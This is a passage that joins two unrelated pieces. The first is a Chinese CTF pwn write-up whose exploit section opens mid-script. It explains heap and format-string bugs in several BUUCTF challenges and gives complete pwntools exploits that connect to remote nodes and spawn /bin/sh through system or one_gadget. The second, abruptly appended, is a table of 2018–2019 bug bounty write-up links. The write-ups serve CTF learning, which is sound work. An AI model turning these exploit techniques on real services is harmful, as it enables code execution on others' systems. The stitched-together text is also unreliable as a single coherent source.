add(0, '\x00' * 0x10 + p64(0x80) + p64(0x90))
delete(2)
edit(0, 1, 'a' * 0x18 + p64(atoi_got))
display(0)
address = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print(hex(address))
libc_base = address - libc.symbols['atoi']
system = libc_base + libc.symbols['system']
edit(0, 1, p64(system))
io.sendlineafter('option--->>\n', '/bin/sh\x00')\
io.interactive()
## 0x15 gyctf_2020_some_thing_interesting
进入main函数后，回显执行begin函数，读取输入，然后与 `"OreOOrereOOreO"` 前14个字符进行比较，需相等才能进入后面的代码。
char *begin()
{
memset(s1, 0, 0x14uLL);
puts("#######################");
puts("# Surprise #");
puts("#---------------------#");
printf("> Input your code please:");
read(0, s1, 0x13uLL);
if ( strncmp(s1, "OreOOrereOOreO", 0xEuLL) )
{
puts("Emmmmmm!Maybe you want Fool me!");
exit(0);
}
puts("#---------------------#");
puts("# ALL Down! #");
puts("#######################");
return s1;
}
随后进入菜单选择，选择0的话就会输出我们刚才输入的内容，存在格式化字符串漏洞，程序开启了PIE保护，我们可以利用格式化字符串漏洞来泄露libc的基址。
unsigned __int64 __fastcall sub_D3D(const char *a1)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( dword_202010 )
{
puts("Now you are ....?");
printf("# Your Code is ");
printf(a1);
putchar(10);
puts("###############################################################################");
}
else
{
puts("Now you are Administrator!");
}
return __readfsqword(0x28u) ^ v2;
}
选择1进入add函数，会进行两次空间分配，然后分别利用两个数组存储地址，还有两个数组存储申请的大小。
unsigned __int64 add()
{
int index; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("#######################");
puts("# Create Oreo #");
puts("#---------------------#");
for ( index = 1; index <= 9 && chunk_array[index] && array_size[index] && array_re[index] && re_size[index]; ++index )
{
if ( index == 9 )
{
puts("# so much Oreo! #");
puts("#######################");
return __readfsqword(0x28u) ^ v2;
}
}
printf("> O's length : ");
_isoc99_scanf("%ld", &array_size[index]);
if ( array_size[index] <= 0 || array_size[index] > 0x70 )
{
puts("Emmmmmm!Maybe you want Fool me!");
leave();
}
chunk_array[index] = (char *)malloc(array_size[index]);
printf("> O : ");
read(0, chunk_array[index], array_size[index]);
printf("> RE's length : ");
_isoc99_scanf("%ld", &re_size[index]);
if ( re_size[index] <= 0 || re_size[index] > 112 )
{
puts("Emmmmmm!Maybe you want Fool me!");
leave();
}
printf("> RE : ");
array_re[index] = (char *)malloc(re_size[index]);
read(0, array_re[index], re_size[index]);
puts("#---------------------#");
puts("# ALL Down! #");
puts("#######################");
return __readfsqword(0x28u) ^ v2;
}
edit函数进行编辑，display函数进行输出，很常规。
delete函数在free后没有进行置零，存在UAF漏洞。
unsigned __int64 sub_130A()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("#######################");
puts("# Delete Oreo #");
puts("#---------------------#");
printf("> Oreo ID : ");
_isoc99_scanf("%d", &v1);
if ( v1 < 0 || v1 > 10 || !chunk_array[v1] )
{
puts("Emmmmmm!Maybe you want Fool me!");
leave();
}
free(chunk_array[v1]);
free(array_re[v1]);
puts("#---------------------#");
puts("# ALL Down! #");
puts("#######################");
return __readfsqword(0x28u) ^ v2;
}
那么思路就很清晰了，利用格式化字符串漏洞泄露libc的基址，然后free掉我们申请的0x60大小的空间，然后对其进行编辑，将 `__malloc_hook
- 0x23` 的地址进行输入，进行`fastbin attack` ,申请到这块空间后，在`__malloc_hook`
的位置输入one_gadget的地址即可。
exp:
from pwn import *
context.log_level = 'debug'
# io = process('./gyctf_2020_some_thing_interesting')
io = remote('node3.buuoj.cn', 29387)
elf = ELF('./gyctf_2020_some_thing_interesting')
libc = ELF('./libc-2.23.so')
malloc_hook = libc.symbols['__malloc_hook'] - 0x23
def add(len_O, content_O, len_RE, content_RE):
io.sendlineafter('want to do :', str(1))
io.sendlineafter('> O\'s length : ', str(len_O))
io.sendlineafter('> O : ', content_O)
io.sendlineafter('> RE\'s length : ', str(len_RE))
io.sendlineafter('> RE : ', content_RE)
def edit(index, content_O, content_RE):
io.sendlineafter('want to do :', str(2))
io.sendlineafter('> Oreo ID : ', str(index))
io.sendlineafter('> O : ', content_O)
io.sendlineafter('> RE : ', content_RE)
def delete(index):
io.sendlineafter('want to do :', str(3))
io.sendlineafter('> Oreo ID : ', str(index))
def display(index):
io.sendlineafter('want to do :', str(4))
io.sendlineafter('> Oreo ID : ', str(index))
io.sendlineafter('> Input your code please:', 'OreOOrereOOreO%17$p')
io.sendlineafter('want to do :', str(0))
io.recvuntil('0x')
address = int(io.recv(12), 16) - 240
libc_base = address - libc.symbols['__libc_start_main']
print('libc_base -> ', hex(libc_base))
one_gadget = libc_base + 0xf1147
add(0x60, 'content_O', 0x60, 'content_RE') # 1
delete(1)
edit(1, p64(malloc_hook + libc_base), p64(malloc_hook + libc_base))
payload = 'a' * 0x13 + p64(one_gadget)
add(0x60, payload, 0x60, payload) # 2
io.sendlineafter('want to do :', str(1))
io.sendlineafter('> O\'s length : ', str(16))
io.interactive()
## 0x16 ciscn_2019_en_3
程序会先读取两次输入，分别输出，这里 `_printf_chk(1LL, buf);`
存在格式化字符串漏洞，原本是printf函数，但是开启了FORTIFY保护，会对我们的输入进行检查，避免了格式化字符串跳过某些参数（如直接%7$x）等方式来避免漏洞出现。
这里我是输入多个%p来泄露栈上的地址，没有注意到后面的puts函数也可以通过输入8个字节内容从而把后面的内容也给泄露出来。
unsigned __int64 run()
{
int v1; // [rsp+Ch] [rbp-44h] BYREF
char s[16]; // [rsp+10h] [rbp-40h] BYREF
char buf[40]; // [rsp+20h] [rbp-30h] BYREF
unsigned __int64 v4; // [rsp+48h] [rbp-8h]
v4 = __readfsqword(0x28u);
puts("Welcome to the story kingdom.");
puts("What's your name?");
read(0, buf, 0x20uLL);
_printf_chk(1LL, buf);
puts("Please input your ID.");
read(0, s, 8uLL);
puts(s);
while ( 1 )
{
menu();
_isoc99_scanf("%d", &v1);
getchar();
switch ( v1 )
{
case 1:
add();
break;
case 2:
fake_edit();
break;
case 3:
fake_display();
break;
case 4:
delete(); // UAF
break;
case 5:
puts("Goodbye~");
exit(0);
default:
puts("Wrong choice!");
return __readfsqword(0x28u) ^ v4;
}
}
}
后面还是菜单题，只有增加、删除两个功能，有chunk_array何array_size两个数组分别记录chunk的地址和大小。
unsigned __int64 add()
{
int v0; // ebx
int size; // [rsp+4h] [rbp-1Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-18h]
v3 = __readfsqword(0x28u);
if ( chunk_num > 16 )
puts("Enough!");
puts("Please input the size of story: ");
_isoc99_scanf("%d", &size);
LODWORD(array_size[2 * chunk_num]) = size;
v0 = chunk_num;
chunk_array[2 * v0] = (char *)malloc(size);
puts("please inpute the story: ");
read(0, chunk_array[2 * chunk_num], size);
++chunk_num;
puts("Done!");
return __readfsqword(0x28u) ^ v3;
}
然后是delete函数，存在UAF漏洞，由于是libc-2.27，直接利用tcache来double free就可以了。
unsigned __int64 sub_D32()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Please input the index:");
_isoc99_scanf("%d", &v1);
free(*((void **)&chunk_array + 2 * v1));
puts("Done!");
return __readfsqword(0x28u) ^ v2;
}
exp:
from pwn import *
context.log_level = 'debug'
# io = process('./ciscn_2019_en_3')
io = remote('node3.buuoj.cn', 27640)
elf = ELF('./ciscn_2019_en_3')
libc = ELF('./libc-2.27.so')
def add(size, content):
io.sendlineafter('Input your choice:', str(1))
io.sendlineafter('size of story: \n', str(size))
io.sendlineafter('inpute the story: \n', content)
def delete(index):
io.sendlineafter('Input your choice:', str(4))
io.sendlineafter('input the index:\n', str(index))
io.sendlineafter('What\'s your name?\n', '%p.%p.%p.%p.%p')
io.recvuntil('500.0x')
address = int(io.recv(12), 16)
libc_base = address - libc.symbols['_IO_file_jumps']
print(hex(libc_base))
free_hook = libc.symbols['__free_hook'] + libc_base
system = libc_base + libc.symbols['system']
print(hex(system))
io.sendlineafter('Please input your ID.\n', 'aaaa')
add(0x60, 'aaaa') # 0
delete(0)
delete(0)
add(0x60, p64(free_hook))
add(0x60, '/bin/sh')
add(0x60, p64(system))
io.sendlineafter('Input your choice:', str(4))
io.sendlineafter('input the index:\n', str(1))
io.interactive()
## 0x17 picoctf_2018_are you root
程序有五个功能，查看登录状态、登录、设置权限等级、读取flag和退出登录。
int menu()
{
puts("Available commands:");
puts("\tshow - show your current user and authorization level");
puts("\tlogin [name] - log in as [name]");
puts("\tset-auth [level] - set your authorization level (must be below 5)");
puts("\tget-flag - print the flag (requires authorization level 5)");
puts("\treset - log out and reset authorization level");
return puts("\tquit - exit the program");
}
先来看看登录功能，会先判断参数v5的值判断是否已经登录，v5的值为0的话会分配一块大小为0x10的空间，然后通过函数 `strdup()`
来分配一块空间存储我们刚才输入登录指令时跟上的用户名。
else if ( !strncmp(s, "login", 5uLL) )
{
if ( v5 )
{
puts("Already logged in. Reset first.");
}
else
{
nptr = strtok(v9, "\n");
if ( !nptr )
goto LABEL_11;
v5 = (char **)malloc(0x10uLL);
if ( !v5 )
{
puts("malloc() returned NULL. Out of Memory\n");
exit(-1);
}
*v5 = (char *)(int)strdup(nptr);
printf("Logged in as \"%s\"\n", nptr);
}
}
设置等级时，限制了最大只能设置为4，而想要获取flag等级得等于5，而用户等级存储在 `*((_DWORD *)v5 + 2)` 处。
else if ( !strncmp(s, "set-auth", 8uLL) )
{
if ( v5 )
{
nptra = strtok(v10, "\n");
if ( nptra )
{
v4 = strtoul(nptra, 0LL, 10);
if ( v4 <= 4 )
{
*((_DWORD *)v5 + 2) = v4;
printf("Set authorization level to \"%u\"\n", v4);
}
else
{
puts("Can only set authorization level below 5");
}
}
else
{
LABEL_11:
puts("Invalid command");
}
}
else
{
puts("Login first.");
}
}
在退出登录的代码中，只会free掉函数 `strdup()` 分配的空间，然后将v5置零，没有将v5进行free。
else if ( !strncmp(s, "reset", 5uLL) )
{
if ( v5 )
{
free(*v5);
v5 = 0LL;
puts("Logged out!");
}
else
{
puts("Not logged in!");
}
}
也就是说，当我们登录然后退出登录，重新登陆后，存储用户等级的那块空间就是之前函数 `strdup()`
分配的空间，且由于没有进行置零，会保留之前的值，我们就可以通过重新登陆来获取权限。
exp:
from pwn import *
# io = process('./PicoCTF_2018_are_you_root')
io = remote('node3.buuoj.cn', 25689)
def login(name):
io.sendlineafter('> ', 'login ' + name)
def logout():
io.sendlineafter('> ', 'reset')
def flag():
io.sendlineafter('> ', 'get-flag')
login('aaaaaaaa' + p64(5))
logout()
login('so4ms')
flag()
io.interactive()
## 0x18 gyctf_2020_signin
这题逻辑不难，在add函数中，每次会固定申请0x70大小的空间，然后将返回的地址存储在数组ptrlist中，并将flags数组中对应下标的内容置为1，addcnt—，而addcnt初值为9，也就是说我们一共可以申请10次空间。
unsigned __int64 add()
{
unsigned int v1; // [rsp+Ch] [rbp-24h]
__int64 s[3]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("idx?");
s[0] = 0LL;
s[1] = 0LL;
memset(s, 0, 0x10uLL);
read(0, s, 0xFuLL);
v1 = atoi((const char *)s);
if ( addcnt >= 0 && v1 <= 0xF )
{
ptrlist[v1] = malloc(0x70uLL);
flags[v1] = 1;
--addcnt;
}
return __readfsqword(0x28u) ^ v3;
}
edit函数中，进行内容输入时，输入大小固定为0x50，不存在溢出，然后cnt—，而cnt位于bss段，也就是说cnt未初始化，初值默认为0，我们只有一次进行输入的机会。
unsigned __int64 edit()
{
int v1; // [rsp+Ch] [rbp-24h]
__int64 s[3]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( cnt >= 0 )
{
puts("idx?");
s[0] = 0LL;
s[1] = 0LL;
memset(s, 0, 0x10uLL);
read(0, s, 0xFuLL);
v1 = atoi((const char *)s);
read(0, (void *)ptrlist[v1], 0x50uLL);
--cnt;
}
return __readfsqword(0x28u) ^ v3;
}
在delete函数中，将对应下标的chunk进行free，然后将flags数组对应下标置为0，也就是说存在UAF漏洞，但是我们不能通过tcache来进行double
free了。
unsigned __int64 del()
{
unsigned int v1; // [rsp+Ch] [rbp-24h]
__int64 s[3]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("idx?");
s[0] = 0LL;
s[1] = 0LL;
memset(s, 0, 0x10uLL);
read(0, s, 0xFuLL);
v1 = atoi((const char *)s);
if ( v1 <= 0xF && flags[v1] == 1 )
{
free((void *)ptrlist[v1]);
flags[v1] = 0;
}
return __readfsqword(0x28u) ^ v3;
}
程序还存在一个后门函数，先使用calloc函数申请一块0x70的空间，然后判断参数ptr是否为空，不为空返回shell。
void __noreturn backdoor()
{
calloc(1uLL, 0x70uLL);
if ( ptr )
system("/bin/sh");
exit(0);
}
这题主要考察了calloc函数的机制，不会分配位于tcache中的chunk。
tcache有一个特性，在分配fastbins中的chunk时，如果fastbins中剩余的chunk，在tcache中对应大小的空间还有空间空间，会将其放入tcache中。
于是我们可以先分配8个空间，然后全部free掉，这样就会将tcache中0x80大小的空间填充满，且fastbins中还有一个chunk。
然后我们编辑位于fastbins中的那块chunk，将ptr-0x10的地址存入这块chunk的fd指针，就会将ptr-x10放入fastbins中，再分配一次空间，在tcache中腾出一个空位。然后调用后门函数，calloc会分配位于fastbins中的chunk，然后会将ptr的地址存入tcache中，且没有对他的size位进行检查。ptr存入tcache后，就会保存tcache链表中的下一块chunk，就不为空，满足条件返回shell。
exp:
from pwn import *
context.log_level = 'debug'
io = process('./gyctf_2020_signin')
# io = remote('node3.buuoj.cn', 29953)
def add(index):
io.sendlineafter('choice?', '1')
io.sendlineafter('idx?\n', str(index))
def edit(index, content):
io.sendlineafter('choice?', '2')
io.sendlineafter('idx?\n', str(index))
io.sendline(content)
def delete(index):
io.sendlineafter('choice?', '3')
io.sendlineafter('idx?\n', str(index))
add(0)
add(1)
add(2)
add(3)
add(4)
add(5)
add(6)
add(7)
delete(0)
delete(1)
delete(2)
delete(3)
delete(4)
delete(5)
delete(6)
delete(7)
edit(7, p64(0x4040b0))
add(8)
io.sendlineafter('choice?', '6')
io.interactive()
## 0x19 bjdctf_2020_YDSneedGrirlfriend
简单的UAF。
add函数中，会先申请一块0x10的空间用来存储输出姓名的函数指针，以及申请的chunk的地址。
unsigned __int64 add_girlfriend()
{
char *v0; // rbx
int i; // [rsp+8h] [rbp-28h]
int v3; // [rsp+Ch] [rbp-24h]
char buf[8]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-18h]
v5 = __readfsqword(0x28u);
if ( count <= 10 )
{
for ( i = 0; i <= 9; ++i )
{
if ( !girlfriendlist[i] )
{
girlfriendlist[i] = (char *)malloc(0x10uLL);
if ( !girlfriendlist[i] )
{
puts("Alloca Error");
exit(-1);
}
*(_QWORD *)girlfriendlist[i] = print_girlfriend_name;
printf("Her name size is :");
read(0, buf, 8uLL);
v3 = atoi(buf);
v0 = girlfriendlist[i];
*((_QWORD *)v0 + 1) = malloc(v3);
if ( !*((_QWORD *)girlfriendlist[i] + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Her name is :");
read(0, *((void **)girlfriendlist[i] + 1), v3);
puts("Success !Wow YDS get a girlfriend!");
++count;
return __readfsqword(0x28u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readfsqword(0x28u) ^ v5;
}
delete函数中，进行free后没有置零，存在UAF漏洞。
unsigned __int64 del_girlfriend()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 >= 0 && v1 < count )
{
if ( girlfriendlist[v1] )
{
free(*((void **)girlfriendlist[v1] + 1));
free(girlfriendlist[v1]);
puts("Success");
}
}
else
{
puts("Out of bound!");
}
return __readfsqword(0x28u) ^ v3;
}
思路很简单，连续申请两块0x20的空间，然后依次free掉，然后申请一块0x10的空间，那么保存输入的chunk就会申请到chunk0的header，通过修改输出姓名的函数指针为后门函数指针，在输出chunk0时，就会触发后门函数。
exp:
from pwn import *
# io = process('./bjdctf_2020_YDSneedGrirlfriend')
io = remote('node3.buuoj.cn', 28243)
def add(size, content):
io.sendlineafter('choice :', '1')
io.sendlineafter('size is :', str(size))
io.sendlineafter('name is :', content)
def delete(index):
io.sendlineafter('choice :', '2')
io.sendlineafter('Index :', str(index))
def display(index):
io.sendlineafter('choice :', '3')
io.sendlineafter('Index :', str(index))
add(0x20, 'content') # 0
add(0x20, 'content') # 1
delete(0)
delete(1)
add(0x10, p64(0x400b9c)) # 2
display(0)
io.interactive() | 社区文章 |
**来源：<https://pentester.land/>**
### 1\. Bug bounty writeups published in 2019
Title & URL | Author | Bug bounty program | Vulnerability | Reward $$$ |
Publication date | Link 2 / Archived content
---|---|---|---|---|---|---
[Facebook Vulnerability: Unremovable facebook group
admin](https://medium.com/@ritishkumarsingh/facebook-vulnerability-unremovable-facebook-group-admin-2cbf4faf55c1) | Ritish Kumar Singh | Facebook
| Logic flaw | $500 | 01/15/2019
[#BugBounty How I Hack Billion $
Company](https://medium.com/@sadiqwest01/bugbounty-how-i-hack-billion-company-5529a3ebe999) | Sadiq West | - | Directory listing | $500 | 01/15/2019
[Abusing MySQL clients to get LFI from the
server/client](https://www.vesiluoma.com/abusing-mysql-clients/) | [Jarkko
Vesiluoma (@jvesiluoma)](https://twitter.com/jvesiluoma) | - | LFI | - |
01/15/2019
[Gaining access to Uber’s user data through AMPScript
evaluation](https://blog.assetnote.io/bug-bounty/2019/01/14/gaining-access-to-ubers-user-data-through-ampscript-evaluation/) | [Shubham Shah
(@infosec_au)](https://twitter.com/infosec_au) | Uber | AMPScript injection |
$23,000 | 01/14/2019
[Hack Your Form – New vector for Blind
XSS](https://generaleg0x01.com/2019/01/13/hackyourform-bxss/) | [Youssef A.
Mohamed (@GeneralEG64)](https://twitter.com/GeneralEG64) | Facebook | Blind
XSS | $800 | 01/13/2019
[Workplace Logo ID to workplace owner name Disclosure Facebook Bug
Bounty](https://medium.com/@evilboyajay/workplace-logo-id-to-workplace-owner-name-disclosurefacebook-bug-bounty-e745db59d0bd) | [Ajay Gautam
(@evilboyajay)](https://twitter.com/evilboyajay) | Facebook | IDOR | - |
01/11/2019
[Facebook PageAnalyst Could Add oneself as Moderator on
Group](https://www.symbo1.com/articles/2019/01/11/fb-pageanalyst-could-add-oneself-as-moderator-on-group.html) | onehackzero | Facebook | Authorization
flaw | - | 01/11/2019
[AntiHack.me Multiple
Vulnerabilities](https://medium.com/@tomi_70353/antihack-me-multiple-vulnerabilities-215ec0d6f064) | Tomi | AntiHack.me | LFI, IDOR | $0, Swag |
01/11/2019
[Tips for bug bounty beginners from a real life
experience](https://renaudmarti.net/posts/first-bug-bounty-submission/) |
[Renaud Martinet (@karouf)](https://twitter.com/karouf) | YNAB | XSS, SQL
injection | $1,500 | 01/08/2019
[When Cookie Hijacking + HTML Injection become
dangerous](https://medium.com/bugbountywriteup/when-cookie-hijacking-html-injection-become-dangerous-3c649f7f6c88) | Daniel V. | - | Cookie Hijacking,
HTML Injection | - | 01/07/2019
[Reflected XSS ON ASUS.](https://medium.com/@thejuskrishnan911/reflected-xss-on-asus-568ce0541171) | Thejus Krishnan | Asus | Reflected XSS | $0, HoF |
01/06/2019
[Stored XSS Via Alternate Text At Zendesk
Support](https://medium.com/@hariharan21/stored-xss-via-alternate-text-at-zendesk-support-8bfee68413e4) | Hariharan.s | Zendesk | Stored XSS | - |
01/06/2019
[How I hacked Altervista.org](https://medium.com/@jacopotediosi/how-i-hacked-altervista-org-f23d011cdb96) | [Jacopo Tediosi
(@jacopotediosi)](https://www.facebook.com/jacopotediosi) | Altervista | Open
redirect | $0, HoF | 01/05/2019
[Facebook Android Application](https://www.ash-king.co.uk/downloading-any-file-via-facebook-android.html) | [Ash
King](https://www.facebook.com/Ashley.King.UK) | Facebook | Authorization flaw
| $750 | 01/05/2019
[How I could have taken over any Pinterest
account](http://infosecflash.com/2019/01/05/how-i-could-have-taken-over-any-pinterest-account/) | [Arnold Anthony
(@armold9anthony)](https://twitter.com/armold9anthony) | Pinterest | CSRF,
Account takeover | $2,400 | 01/05/2019
[How I stumbled upon a Stored XSS(My first bug bounty
story).](https://medium.com/@parthshah14031998/how-i-stumbled-upon-a-stored-xss-my-first-bug-bounty-story-2793300d82bb) | Parth Shah | Edmodo | Stored XSS
| - | 01/04/2019
[Cookie Based Self-XSS to Good
XSS](https://medium.com/bugbountywriteup/cookie-based-self-xss-to-good-xss-d0d1ca16dd0e) | [Brian Hyde](https://twitter.com/@0xHyde) | - | XSS | $616
| 01/04/2019
[Stealing Side-Channel Attack Tokens in Facebook Account
Switcher](https://medium.com/@maxpasqua/stealing-side-channel-attack-tokens-in-facebook-account-switcher-90c5944e3b58) | Max Pasqua | Facebook | Token
theft | $1,000 | 01/04/2019
[Yes I can see your OTP](https://medium.com/vulnerables/yes-i-can-see-your-otp-9334cd27f021) | [Vulnerables](https://medium.com/@vulnerables) | - | IDOR
| - | 01/03/2019
[A Tricky Open Redirect](https://www.hackerinside.me/2019/01/a-tricky-open-redirect.html) | [Anas Mahmood
(@AnasIsHere)](https://www.facebook.com/AnasIsHere) | - | Open Redirect | $200
| 01/03/2019
[How I was able to Harvest other Vine users IP
address](https://bugbountypoc.com/how-i-was-able-to-harvest-other-vine-users-ip-address/) | [Prial Islam Khan (@prial261)](https://twitter.com/prial261) |
Vine | IDOR | $5,040 | 01/02/2019
[How i found web shell on AntiHack.me and Awarded Gold Coin And
SWAG](https://rudr4sarkar.blogspot.com/2019/01/how-i-found-web-shell-on-antihackme-and.html) | [Rudra Sarkar
(@rudr4_sarkar)](https://twitter.com/rudr4_sarkar) | AntiHack.me | RCE | - |
01/01/2019
[A Curious Case From Little To Complete Email Verification
Bypass](https://medium.com/@N0_M3ga_Hacks/a-curious-case-from-little-to-complete-email-verification-bypass-2c7570040e7e) | [ Megaman
(@N0_M3ga_Hacks)](https://twitter.com/N0_M3ga_Hacks) | - | Email validation
bypass, Authorization flaw | - | 01/01/2019
### 2\. Bug bounty writeups published in 2018
Title & URL | Author | Bug bounty program | Vulnerability | Reward $$$ |
Publication date | Link 2 / Archived content
---|---|---|---|---|---|---
[Tale of a Misconfiguration in Password
Reset](https://footstep.ninja/posts/password-reset/) | [Shuaib Oladigbolu
(@_sawzeeyy)](https://twitter.com/_sawzeeyy) | - | Password reset flaw | - |
12/30/2018
[Bypassing Access Control in a Program on Hackerone
!!](https://medium.com/@pig.wig45/bypassing-access-control-in-a-program-on-hackerone-ef213ab34703) | [Sahil Tikoo
(@viperbluff)](https://twitter.com/viperbluff) | Hackerone | Authorization
flaw | - | 12/30/2018
[How I was able to delete Google Gallery Data
[IDOR]](https://medium.com/@yogeshtantak7788/how-i-was-able-to-delete-google-gallery-data-idor-53d2f303efff) | Yogesh Tantak | Google | IDOR | - |
12/30/2018
[Abusing ACL Permissions to Overwrite other User’s Uploaded Files/Videos on s3
Bucket](https://medium.com/@armaanpathan/abusing-acl-permissions-to-overwrite-other-users-uploaded-files-videos-on-s3-bucket-162c8877728) | [Armaan Pathan
(@armaancrockroax)](https://twitter.com/armaancrockroax) | - | Unrestricted
file upload, Authorization flaw | - | 12/30/2018
[How I Takeover Wordpress Admin
fiiipay.my](https://medium.com/@sahruldotid/how-i-takeover-wordpress-admin-fiiipay-my-1bdede83635d) | [Syahrul Akbar Rohmani
(@sahruldotid)](https://twitter.com/sahruldotid) | FiiiPay | Account takeover,
Default CMS files | S$ 300 (~ $408) | 12/28/2018
[How I Was Able To Takeover All User Account And Admin
Panel](https://addictivehackers.blogspot.com/2018/12/how-i-was-able-to-takeover-all-user.html) | [Dipak kumar Das
(@d1pakdas)](https://twitter.com/d1pakdas) | - | IDOR, Account takeover |
$1,500 | 12/28/2018
[Reflected XSS on ws-na.amazon-adsystem.com(Amazon)](https://medium.com/@newp_th/reflected-xss-on-ws-na-amazon-adsystem-com-amazon-f1e55f1d24cf) | [ssid
(@newp_th)](https://twitter.com/newp_th) | Amazon | Reflected XSS | - |
12/27/2018
[From Hunting for a Laptop to Hunting down Remote Code
Execution](https://medium.com/@aniltom/from-hunting-for-a-laptop-to-hunting-down-remote-code-execution-72cce2761846) | Anil Tom | Asus | RCE, WebDAV flaw
| $0, HoF | 12/27/2018
[RCE in nokia.com](https://medium.com/@sampanna/rce-in-nokia-com-59b308e4e882)
| Sampanna Chimoriya | Nokia | RCE | $0, HoF | 12/27/2018
[Unauthenticated user can upload an attachment at
HackerOne](https://medium.com/@modam3r5/unauthenticated-user-can-upload-an-attachment-at-hackerone-aff2a0c573b8) | [Ahamed Morad
(@Modam3r5](https://twitter.com/Modam3r5) | Hackerone | Authorization flaw |
$0 (Duplicate) | 12/24/2018
[Tokopedia Account Takeover Bug Worth 8 Million
IDR](https://medium.com/@ironfisto/tokopedia-account-takeover-bug-worth-8-million-idr-5474cb5b5cc9) | [Ironfirst
(@ironfisto)](https://twitter.com/ironfisto) | Tokopedia | Password reset
flaw, Account takeover | - | 12/24/2018
[Server-side Request Forgery in OpenID
support](https://medium.com/@putracraft.theworld/server-side-request-forgery-in-openid-support-defcc64d5e41) | Putra Adhari | Liberapay | SSRF | - |
12/24/2018
[Client side validation strikes again: PIN code bypass
!](http://blog.randorisec.fr/client-side-validation/) | [Davy
(@RandoriSec)](https://twitter.com/RandoriSec) | Netflix, Linxo | Client-side
validation bypass, Authentication bypass, Authorization flaw | - | 12/22/2018
[How I accidentally found a clickjacking “feature” in Facebook
](https://malfind.com/index.php/2018/12/21/how-i-accidentaly-found-clickjacking-in-facebook/) | [Lasq (@lasq88)](https://twitter.com/lasq88) |
Facebook | Clickjacking | $0 | 12/21/2018
[XSS worm – A creative use of web application
vulnerability](https://blog.compass-security.com/2018/12/xss-worm-a-creative-use-of-web-application-vulnerability/) | [Nicolas Heiniger
(@NicolasHeiniger)](https://twitter.com/NicolasHeiniger) | Swisscom | XSS | -| 12/21/2018
[Facebook BugBounty — Disclosing page
members](https://medium.com/@tnirmalz/facebook-bugbounty-disclosing-page-members-1178595cc520) | [Nirmal Thapa
(@tnirmalz)](https://twitter.com/tnirmalz) | Facebook | Information disclosure
| - | 12/20/2018
[Story of my two (but actually three) RCEs in SharePoint in
2018](https://soroush.secproject.com/blog/2018/12/story-of-two-published-rces-in-sharepoint-workflows/) | [Soroush Dalili
(@irsdl)](https://twitter.com/irsdl) | Microsoft | RCE | $0 | 12/19/2018
[Exploiting Two Endpoints to get Account
Takeover](https://medium.com/@hritik.3hs/exploiting-two-endpoints-to-get-account-takeover-651813d0a33b) | Hritik Sharma | - | Authorization flaw,
Privilege escalation | - | 12/19/2018
[Asus’S Admin Panel Auth Bypass](https://medium.com/@mustafakhan_89646/asuss-admin-panel-auth-bypass-af5062584ddf) | [Mustafa Khan
(@samwcyo)](https://twitter.com/samwcyo) | Asus | Authentication bypass | - |
12/18/2018
[WordPress Privilege Escalation through Post
Types](https://blog.ripstech.com/2018/wordpress-post-type-privilege-escalation/) | Simon Scannell | Wordpress | Privilege escalation, Stored XSS,
Object Injection | - | 12/17/2018
[Subdomain Takeover — New
Level](https://medium.com/bugbountywriteup/subdomain-takeover-new-level-43f88b55e0b2) | Valeriy Shevchenko | - | Subdomain Takeover | - |
12/17/2018
[Reading ASP secrets for $17,000](https://samcurry.net/reading-asp-secrets-for-17000/) | [Sam Curry (@samwcyo)](https://twitter.com/samwcyo) | - | Local
file disclosure (LFD) | $17,000 | 12/16/2018
[Accessing VoIP Internal service via Port 8009: Routing traffic through local
Apache proxy](https://medium.com/@ahmedasherif/accessing-voip-internal-service-via-port-8009-routing-traffic-through-local-apache-proxy-54a4ff539c5f)
| Ahmed A. Sherif | - | Information disclosure | - | 12/16/2018
[Self XSS to Interesting Stored
XSS](https://nahoragg.github.io/bugbounty/2018/12/15/Self-XSS-to-Interesting-Stored-XSS.html) | [rohan aggarwal (@nahoragg)](https://twitter.com/nahoragg)
| - | Stored XSS | - | 12/15/2018
[How i hacked help desk of a Company](https://medium.com/@alirazzaq/how-i-hacked-help-desk-of-a-company-55dc22448446) | [Ali Razzaq
(@AliRazzaq_)](https://twitter.com/AliRazzaq_) | - | Ticket Trick | - |
12/15/2018
[Remote Code Execution on a Facebook
server](https://blog.scrt.ch/2018/08/24/remote-code-execution-on-a-facebook-server/) | [Daniel Le Gall](https://twitter.com/Blaklis_) | phpMyAdmin | LFI,
RCE, CSRF | - | 12/14/2018
[XSSing Google Code-in thanks to improperly escaped JSON
data](https://blog.thomasorlita.cz/vulns/google-code-in-xss/) | [Thomas Orlita
(@ThomasOrlita)](https://twitter.com/ThomasOrlita) | Google | XSS | - |
12/14/2018
[$3k Bug Bounty - Twitter’s OAuth
Mistakes](https://shkspr.mobi/blog/2018/12/twitter-bug-bounty/) | [Terence
Eden (@edent)](https://twitter.com/edent) | Twitter | OAuth flaw | $2,940 |
12/14/2018
[Unremovable Tags In Facebook Page
Reviews](https://medium.com/@maxpasqua/unremovable-tags-in-facebook-page-reviews-656e095e69aa) | Max Pasqua | Facebook | Logic flaw, DoS | $500 |
12/14/2018
[Chaining Two Vulnerabilities to Break Facebook Appointment Times For the
